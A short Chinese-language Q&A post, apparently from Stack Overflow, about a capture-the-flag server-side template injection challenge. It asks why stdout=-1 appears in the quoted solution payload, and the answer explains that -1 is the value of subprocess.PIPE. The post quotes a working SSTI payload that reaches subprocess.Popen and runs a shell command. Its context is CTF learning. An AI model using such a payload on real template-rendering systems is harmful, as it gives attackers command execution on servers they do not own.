我正在做一个关于SSTI的ctf挑战。解决方案的有效载荷是
{{"".__class__.__mro__[1].__subclasses__()[213](['cat','flag.txt'],stdout=-1).communicate()}}
我想知道为什么stdout接受-1作为一个值。我在当前的子流程文档中找不到它。
发布于 2022-03-20 15:22:33
-1只是subprocess.PIPE的值
-1
subprocess.PIPE
PIPE = -1
首先,考虑到获取Popen引用的复杂性质,subprocess.PIPE本身可能不可用,因此使用它的值。
Popen
https://stackoverflow.com/questions/71547832
相似问题